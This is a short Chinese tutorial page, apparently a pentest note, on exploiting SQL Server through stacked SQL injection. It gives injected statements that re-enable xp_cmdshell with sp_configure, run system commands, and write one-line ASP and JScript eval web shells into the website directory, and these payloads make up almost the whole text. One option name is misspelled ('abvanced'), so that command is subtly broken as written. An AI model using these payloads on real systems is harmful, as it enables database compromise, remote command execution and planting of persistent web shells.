💎一站式轻松地调用各大LLM模型接口,支持GPT4、智谱、豆包、星火、月之暗面及文生图、文生视频 广告
[TOC] ## 介绍 ~~~ 在sqlsever中是可以执行多条操作的 两条sql语句是用分号进行分开的 ~~~ ## 条件 ~~~ 开启xp_cmdshell 在mssql2000中默认是开启的,mssql2005以后是关闭的 ~~~ ## 如何开启 ~~~ 如果拥有管理员的sa权限,则可以用sp_configure重新开启它 ;EXEC sp_configure 'show abvanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure; ~~~ ## 开启步骤 ~~~ 允许修改高级参数 ;EXEC sp_configure 'show abvanced options',1 打开xp_cmdshell扩展 ;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure; ~~~ ## 执行系统命令 ~~~ exec master.dbo.xp_cmdshell 'ipconfig' ~~~ ## getshell ~~~ exec master.dbo.xp_cmdshell 'echo^<%eval request(chr(35))%^> > 网站目录\a.asp' --+ exec master.dbo.xp_cmdshell 'echo^<%@ Page Language="Jscript"%^>^<%eval(Request.item["cmd"],"nusafe");%^> > 网站目录\a.asp' --+ ~~~ ##